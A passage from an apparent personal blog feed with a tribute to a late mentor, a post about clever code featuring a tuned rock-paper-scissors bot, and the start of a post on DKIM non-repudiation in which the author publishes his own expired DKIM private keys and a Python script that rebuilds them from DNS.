on to work alongside him at White Ops (now known as Human Security) in 2014. He brought me on stage with him at DEFCON that year.</p> <p>He spent a lot of time helping me put together a CFP submission about my brainwallet research for DEFCON the following year and then helped me put together slides, rehearse, and had a professional help me refine everything. I couldn&rsquo;t have done it without him.</p> <p>My wedding was about six weeks before DEFCON - Dan showed up in an Uber, about an hour late. He explained that he&rsquo;d confused Menlo Park for Morgan Hill when planning to leave. I was just thrilled to have him there.</p> <p>Dan was a supportive friend, a great mentor, and a delightful colleague. I really can&rsquo;t overstate what a positive impact he had on my life. It&rsquo;s hard to believe he&rsquo;s really gone. That I&rsquo;ll never get to swap stories about our respective side projects with him again.</p> <p>I miss him.</p> You Can Create Art and Beauty on a Computer2021-03-28T15:06:00+01:002021-03-28T15:06:00+01:00ryanctag:rya.nc,2021-03-28:/threads/art-and-beauty.html <p>In the early 90s, when I was in elementary school, I got assigned to write a report on a topic of my choosing. I decided to write about computer viruses. There weren’t many books at the time I could use as sources, but I found Levy’s “Hackers: Heroes of the Computer Revolution”</p> <p>One thing from the book that stuck with me was “You can create art and beauty on a computer”.</p> <!-- included from `include/globals.rst` --> <p><em>Note: This was originally posted as a <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F1376140245431951360">thread on Twitter</a>. It has been lightly edited and reformatted here for convenience.</em></p> <p>In the early 90s, when I was in elementary school, I got assigned to write a report on a topic of my choosing. I decided to write about computer viruses. There weren&rsquo;t many books at the time I could use as sources, but I found Levy&rsquo;s &ldquo;Hackers: Heroes of the Computer Revolution&rdquo;</p> <p>One thing from the book that stuck with me was &ldquo;You can create art and beauty on a computer&rdquo;.</p> <p>This wasn&rsquo;t just about audio/visual aesthetic, though the demoscene does make some amazing things there, but also that a clever bit of code could be considered art in its own right.</p> <p>Code golf, perl poetry, obfuscated programs, esoteric languages, they&rsquo;re all expressions of human skill and creativity, and when executed well they can evoke emotion.</p> <p>I think the first thing I made that someone called &ldquo;art&rdquo; was a bot I wrote to play &ldquo;rock, paper, scissors&rdquo;.</p> <p>You can see that bot here: <a class="external" href="proxy.php?url=http%3A%2F%2Frpscontest.com%2Fentry%2F614005">http://rpscontest.com/entry/614005</a></p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;sha256&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcssc1"&gt;# The constant used here came to me in a dream.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcssn"&gt;state&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;input&lt;/span&gt; &lt;span class="pgcssow"&gt;and&lt;/span&gt; &lt;span class="pgcssn"&gt;state&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssnb"&gt;input&lt;/span&gt; &lt;span class="pgcssow"&gt;or&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;e+4sk5jfPPON3muIQJPM-KBCJPyYHgkkgXgpprL2&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcssn"&gt;output&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;RPS&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sha256&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;state&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;hexdigest&lt;/span&gt;&lt;span class="pgcssp"&gt;(),&lt;/span&gt;&lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;%&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>It&rsquo;s two lines of code, not counting the import and comment, and yet it has an almost 60% win rate. How is that possible? The comment says &ldquo;The constant used here came to me in a dream&rdquo;, which only raises further questions.</p> <p>A bot playing randomly, for reference, can be expected to win about half of the time, and the best bots on the site did around 80-85% - all this of being against other bots.</p> <p>Two lines of Python with a seemingly random constant shouldn&rsquo;t be able to do so well, should it?</p> <p>The trick was, since all the bots had their code available on the site, I simply downloaded them all, and ran simulations for days, generating a random constant and seeing how it did against the existing bots. Eventually I picked one.</p> <p>Not at all magic, but the goal of this code really was just to make people who saw it go &ldquo;What the... What.... How!?&rdquo;, and that it does. Knowing how it works removes some of the wonder, but replaces it with appreciation (or perhaps something else) for &ldquo;hack value&rdquo;.</p> <p>I like making things that serve no practical purpose, but have that &ldquo;hack value&rdquo; that others can enjoy. Someone once posted on a discussion about another of my projects something to the effect of &ldquo;I can&rsquo;t hear you over the sound of how awesome this is&rdquo;.</p> <p>The simple process of discovery - challenging myself to do something, going into it unsure as to whether it&rsquo;s possible, figuring it out, and implementing it is rewarding on its own. Seeing the reactions, though, is some pretty amazing icing on top of that already delicious cake.</p> DKIM: Show Your Privates2020-11-02T20:02:00+00:002020-11-02T20:02:00+00:00ryanctag:rya.nc,2020-11-02:/dkim-privates.html<!-- included from `include/globals.rst` --> <p>If you’re like most people, there’s a good chance that it’s been years since you’ve sent an email that wasn’t cryptographically signed. You don’t use PGP, you say? Well, even if <em>you</em> are not signing your email, your provider is almost certainly doing it for you. Plausible deniability has been tossed aside in the name of stopping spam, but it doesn’t have to be.</p> <!-- included from `include/globals.rst` --> <p>If you&rsquo;re like most people, there&rsquo;s a good chance that it&rsquo;s been years since you&rsquo;ve sent an email that wasn&rsquo;t cryptographically signed. You don&rsquo;t use PGP, you say? Well, even if <em>you</em> are not signing your email, your provider is almost certainly doing it for you. Plausible deniability has been tossed aside in the name of stopping spam, but it doesn&rsquo;t have to be.</p> <p><span class="abbr" data-title="DomainKeys Identified Mail"><abbr title="DomainKeys Identified Mail">DKIM</abbr></span>, originally standardized in 2007 by <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4871.html">RFC 4871</a>, now has near universal<a class="footnote-reference" href="#id4">[1]</a><a id="id1"></a> adoption. To quote the RFC, the goal behind the protocol is to &ldquo;permit a signing domain to assert responsibility for a message, thus protecting message signer identity and the integrity of the messages they convey&rdquo;. It&rsquo;s one of several technologies used prevent the sender identity information in email from being spoofed<a class="footnote-reference" href="#id5">[2]</a><a id="id2"></a>. Anti-spam systems use it to help determine whether to consider the reputation of a domain name when making a processing decision.</p> <p>While <abbr title="DomainKeys Identified Mail">DKIM</abbr> was designed to be useful for spam prevention, the cryptographic signatures it uses have quietly made a property called &ldquo;<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FNon-repudiation">non-repudiation</a>&rdquo; the new normal for email. The term is used in in contract law &mdash; for example if someone claims &ldquo;that&rsquo;s not my signature&rdquo;, they could be said to be &ldquo;repudiating&rdquo; the authenticity of the document. In the case of email, the impact is that if you have a copy of an email in its original format including full headers (for example, an email spool dump) you can check the signature. The extent to which this is a reliable means of verification varies depending on the circumstances &mdash; keys short enough to be cracked used to be common, and in some cases straight-up theft of the private keys is plausible.</p> <p>Meanwhile, secure messaging tools like <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FOff-the-Record_Messaging">OTR</a> and its successors have taken the approach of explicitly providing &ldquo;deniable encryption&rdquo;. The <a class="external" href="proxy.php?url=https%3A%2F%2Fsignal.org%2Fblog%2Fsimplifying-otr-deniability%2F%23potential-simplifications-and-improvements">state of the art</a> allows a sender, given a recipient&rsquo;s public key, to craft a fake transcript apparently between the two of them that will pass cryptographic checks. This is generally fine for users of these apps because they know what they said. To the best of my knowledge, there is nowhere this creates a legal &ldquo;get out of jail free&rdquo; card. All it really does is ensure the users of these tools aren&rsquo;t <em>reducing</em> their deniability by using the tool. This is an issue where <abbr title="DomainKeys Identified Mail">DKIM</abbr> really fails its users, and I&rsquo;m apparently not the only one that feels this way.</p> <blockquote> <p>Apropos of nothing, I really wish Gmail would start publishing its expired DKIM secret keys.</p> <p class="attribution">&mdash;<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fmatthew_d_green%2Fstatus%2F1323011619069321216">Matthew Green</a></p> </blockquote> <p>A little over three years ago, I started doing exactly that for my domain. Since then, I&rsquo;ve had a <a class="external" href="proxy.php?url=https%3A%2F%2Fgist.github.com%2Fryancdotorg%2Fa8f565b9e4f0902eb7b5cd4cdefeea0f">key rotation script</a> running every day, generating a new key and adding the appropriate record (called a &ldquo;selector&rdquo;).</p> <div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td> <code>20170829-&lt;wbr&gt;b29b2444f764c222c3faf5c.&lt;wbr&gt;_domainkey.&lt;wbr&gt;ryanc.&lt;wbr&gt;org.&lt;wbr&gt; 5 &lt;wbr&gt;IN &lt;wbr&gt;TXT &lt;wbr&gt;"&lt;wbr&gt;v=&lt;wbr&gt;DKIM1;&lt;wbr&gt;t=&lt;wbr&gt;s;&lt;wbr&gt;h=&lt;wbr&gt;sha256;&lt;wbr&gt;p=&lt;wbr&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/&lt;wbr&gt;OB3lcT2apKtnu7MLjIRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/&lt;wbr&gt;8yY9Qy1eyNtTF5Y/&lt;wbr&gt;XSoLWoRVO1oly+&lt;wbr&gt;WL+&lt;wbr&gt;4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB"&lt;wbr&gt;</code> </td></tr></tbody></table></div> <p>Each selector remains live for seven days, then is &ldquo;revoked&rdquo; by publishing an update blanking the public key portion of the record.</p> <div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td> <code>20170829-&lt;wbr&gt;b29b2444f764c222c3faf5c.&lt;wbr&gt;_domainkey.&lt;wbr&gt;ryanc.&lt;wbr&gt;org.&lt;wbr&gt; 5 &lt;wbr&gt;IN &lt;wbr&gt;TXT &lt;wbr&gt;"&lt;wbr&gt;v=&lt;wbr&gt;DKIM1;&lt;wbr&gt;t=&lt;wbr&gt;s;&lt;wbr&gt;p=&lt;wbr&gt;"&lt;wbr&gt;</code> </td></tr></tbody></table></div> <p>Once another three days pass, the minimal set of <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a> parameters needed to recreate the public and private keys are published in the selector&rsquo;s &ldquo;notes&rdquo; field.</p> <div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td> <code>20170829-&lt;wbr&gt;b29b2444f764c222c3faf5c.&lt;wbr&gt;_domainkey.&lt;wbr&gt;ryanc.&lt;wbr&gt;org.&lt;wbr&gt; 5 &lt;wbr&gt;IN &lt;wbr&gt;TXT &lt;wbr&gt;"&lt;wbr&gt;v=&lt;wbr&gt;DKIM1;&lt;wbr&gt;t=&lt;wbr&gt;s;&lt;wbr&gt;p=&lt;wbr&gt;;&lt;wbr&gt;n=&lt;wbr&gt;e:&lt;wbr&gt;AQAB,&lt;wbr&gt;p:&lt;wbr&gt;6o/&lt;wbr&gt;8upWykC5USot9Q2o5M89EO1qA7J/&lt;wbr&gt;ao/&lt;wbr&gt;FPc2TUJKat+&lt;wbr&gt;z4JXde2HWW/&lt;wbr&gt;8D3LJR4hGwSpgwLMq9drTzdjbzFTkQ=&lt;wbr&gt;=&lt;wbr&gt;,&lt;wbr&gt;q:&lt;wbr&gt;+&lt;wbr&gt;RTTux+&lt;wbr&gt;yMx0LPyXDkAQiEBcOt8xYrr60s1sXO/&lt;wbr&gt;5nQSQSZBlLtRJKHQpz65MnIxlOCB+&lt;wbr&gt;1umqLW8q78hHC3Asxfw=&lt;wbr&gt;=&lt;wbr&gt;"&lt;wbr&gt;</code> </td></tr></tbody></table></div> <p>The format here is non-standard, as a full RSA private key with all of the redundant data it includes would exceed the 255 character limit for strings stored in DNS<a class="footnote-reference" href="#id6">[3]</a><a id="id3"></a>. A small Python script is enough to reconstitute everything, though.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fdkim-privates_%2Fattach%2Fdkim-private.py" id="dkim-private-py">dkim-private.py</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;,&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;,&lt;/span&gt; &lt;span class="pgcssnn"&gt;dns.resolver&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;Cryptodome.PublicKey&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;base64&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;b64decode&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;b64d&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;decode_dkim_private&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;txt&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> <code> &lt;span class="pgcssn"&gt;params&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;dict&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">7</td><td> <code> &lt;span class="pgcssc1"&gt;# Parse the DKIM selector record.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;_&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;val&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;partition&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;txt&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;split&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">9</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;key&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;v&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;split&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;val&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;split&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">11</td><td> <code> &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;b64d&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;v&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;big&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code> &lt;span class="pgcssc1"&gt;# Compute rest of RSA keypair parameters (if possible).&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;all&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;k&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;k&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">14</td><td> <code> &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">15</td><td> <code> &lt;span class="pgcssn"&gt;phi&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;q&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">16</td><td> <code> &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;int&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;gmpy2&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;phi&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> <code> &lt;span class="pgcssn"&gt;rsa&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;map&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;params&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;nedpq&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">18</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;construct&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;tuple&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcsskc"&gt;None&lt;/span&gt;</code> </td></tr><tr><td class="linenos">21</td><td> </td></tr><tr><td class="linenos">22</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssvm"&gt;__name__&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt; &lt;span class="pgcssow"&gt;and&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> <code> &lt;span class="pgcssn"&gt;domain&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">24</td><td> <code> &lt;span class="pgcssn"&gt;selector&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;answer&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;dns&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;resolver&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;query&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;selector&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;._domainkey.&amp;#39;&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;domain&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;TXT&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">26</td><td> <code> &lt;span class="pgcssn"&gt;txt&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;str&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;answer&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;strip&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">27</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;decode_dkim_private&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;txt&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;exportKey&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;decode&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>An example run:</p> <div class="highlight"><table 